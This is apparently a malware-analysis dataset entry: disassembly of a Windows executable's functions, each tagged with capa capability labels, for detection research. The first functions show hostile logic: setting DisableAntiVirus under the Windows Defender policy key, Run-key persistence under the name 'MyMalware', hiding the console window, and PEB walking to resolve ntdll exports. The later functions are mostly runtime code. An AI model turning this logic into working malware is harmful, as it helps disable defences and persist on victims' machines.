joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014ee
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
mov r8d, 0
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], 1
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableAntiVirus
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001570
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x448
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov r8d, 0x784
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3b8], rax
call sym.rand
mov edx, eax
lea rax, [rbp - 0x50]
mov r9d, edx
lea r8, str.__d_
mov edx, 0x400
mov rcx, rax
call sym.sprintf_s
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov ebx, eax
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov rcx, rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ebx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400015a8

Function at 0x1400016e1
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0xd8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyMalware
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret

Function at 0x1400017c5
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.DisableDefender
call sym.autorunme
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140001b00
Capabilities:
Check os version

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x20], 0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001b35
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x118], 0xa
je 0x140001b37
jmp 0x140001ba0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001b82
jmp 0x140001ba0
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x20], 0
jne 0x140001bc4
call fcn.140003f30
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140001bc4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x68
ret
Function at 0x140003f30
Capabilities:
Access peb ldr_data
Check os version
Get ntdll base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x98
mov qword [rsp + 0x18], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140003f83
mov rax, qword [rsp + 0x20]
cmp dword [rax + 0x118], 0xa
je 0x140003f8a
xor eax, eax
jmp 0x14000414e
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x18]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x18], rax
je 0x14000414c
mov rax, qword [rsp + 0x18]
sub rax, 0x10
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x30]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000400f
jmp 0x14000413a
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
je 0x14000403a
jmp 0x14000413a
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 0x8c], 0
jne 0x140004057
jmp 0x14000413a
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x10], 0
xor eax, eax
mov word [rsp], ax
jmp 0x1400040e2
movzx eax, word [rsp]
inc ax
mov word [rsp], ax
movzx eax, word [rsp]
mov rcx, qword [rsp + 0x28]
cmp eax, dword [rcx + 0x18]
jae 0x140004129
movzx eax, word [rsp]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
cmp eax, 0x744e
je 0x14000411d
jmp 0x1400040d7
mov eax, dword [rsp + 0x10]
inc eax
mov dword [rsp + 0x10], eax
jmp 0x1400040d7
cmp dword [rsp + 0x10], 0xc8
jle 0x14000413a
mov rax, qword [rsp + 8]
jmp 0x14000414e
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
mov qword [rsp + 0x18], rax
jmp 0x140003fb7
xor eax, eax
add rsp, 0x98
ret
Function at 0x140007e84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007ece
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007ece
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007ece
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007ece
cmp dword [rcx + 0x84], 0xe
jbe 0x140007ece
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007ed0
xor al, al
add rsp, 0x28
ret

Function at 0x14000f008
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ee04
Function at 0x140013ee8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140013f6f
mov rsi, rbx
cmp word [rax], bp
je 0x140013f2e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140013f18
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140013f14
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140010ab8
mov rdi, rax
test rax, rax
je 0x140013f5c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140009450
mov rbp, rdi
xor ecx, ecx
call fcn.14000fe84
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400182cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400182e2
mov al, 1
jmp 0x140018342
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400182f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140018340
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400147a8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140018340
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140018340
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140018340
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140018342
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140019598
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140029e70]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400195ef
cmp word [rdx], r13w
jne 0x1400195ef
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400195f4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140019719
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001973a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001962d
mov rdx, r9
mov word [rbx], cx
jmp 0x140019654
cmp r9, r8
jae 0x140019664
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001960e
jmp 0x140019719
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001970e
cmp dword [rsp + 0x80], esi
je 0x14001970e
lea r8, [0x140029e70]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400196e6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400196b6
mov word [rbx], r13w
jmp 0x140019716
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400196c3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140019716
cmp word [rsp + 0x70], r13w
jne 0x1400196f3
cmp rbx, r14
je 0x1400196b0
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400194b8
cmp word [rsp + 0x70], r13w
je 0x140019719
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140029e70]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140019713
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140019719
Function at 0x14001ba70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001ba98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001ba98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140003830
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x140003864
xor eax, eax
jmp 0x140003a11
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14000388c
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.140004500
jmp 0x140003a11
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call fcn.140005b50
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140003929
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140003a30
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call fcn.140005d10
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400066d0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call fcn.140005c70
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x140003a01
mov rcx, qword [rsp + 0x70]
call fcn.140005520
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x1400039c9
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140010984
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x1400039c7
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140003a11
jmp 0x14000394f
cmp qword [rsp + 0x40], 0
jbe 0x140003a01
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140010984
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400098b0
add rsp, 0x68
ret

Function at 0x14000a780
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a7ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a7ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a7ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a7ca
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a7ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a7cc
xor al, al
add rsp, 0x28
ret
Function at 0x1400132fc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001336b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001336b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001336b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001336b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001336b
cmp dword [rcx + 0x84], 0xe
jbe 0x14001336b
cmp dword [rcx + 0xf8], 0
je 0x14001336b
mov ecx, ebx
call fcn.140013410
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140013204
nop
cmp dword [rbp + 0x20], 0
jne 0x1400133cc
call fcn.14001dffc
cmp eax, 1
jne 0x1400133bc
xor dl, dl
jmp 0x1400133c6
call fcn.14001dfc8
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400133d7
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400133e0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400132fc

Function at 0x1400134e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400132fc

Function at 0x140015f6c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140015f82
mov al, 1
jmp 0x140015fee
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140015f93
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140015fec
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001e4d8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015fec
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140015fec
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140015fec
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140015fee
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140018280
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x14003b050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1400182e5
test rax, rax
jne 0x1400182d3
lea r9, str.GetLocaleInfoEx
lea r8, [0x14002a4f8]
lea rdx, str.GetLocaleInfoEx
lea ecx, [rax + 0xa]
call fcn.140017e90
test rax, rax
je 0x1400182e5
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.140023e90
jmp 0x1400182ff
xor edx, edx
mov rcx, rbp
call fcn.140018570
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140018d68
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140009f10
sub rsp, rax
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140015e4c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140018db7
mov rax, rbp
jmp 0x140018ec3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x37320]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140019d70
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x37320]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018ebf
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018ebf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140019d70
test rax, rax
js 0x140018ebf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018ebf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018eb1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018eb1
cmp byte [rcx], 0xd
jne 0x140018e97
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140018ea6
cmp byte [rcx + 1], 0xa
jne 0x140018ea6
inc rcx
jmp 0x140018ea6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x354c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140018e79
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018ec3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400098b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140019058
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x140037320]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x1400190ae
cmp word [rdx], r9w
jne 0x1400190ae
or byte [rax + rbp*8 + 0x38], 4
jmp 0x1400190b3
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x140019232
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1400191fd
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1400190fb
cmp rcx, r8
jae 0x14001911b
cmp word [rcx], r9w
jne 0x1400190fb
add rax, 4
mov edx, r9d
jmp 0x1400190fe
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x1400190d0
jmp 0x140019232
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400191f6
cmp dword [rsp + 0x80], edi
je 0x1400191f6
lea r9, [0x140037320]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x1400191d0
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x140019183
mov word [rbx], bp
jmp 0x14001922f
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x14001919e
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x14001922f
cmp word [rsp + 0x70], bp
jne 0x1400191dc
cmp rbx, rsi
je 0x14001917b
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140019d78
cmp word [rsp + 0x70], bp
je 0x140019232
mov word [rbx], 0xd
jmp 0x14001922f
mov rcx, r15
lea r9, [0x140037320]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14001922c
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140019232
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret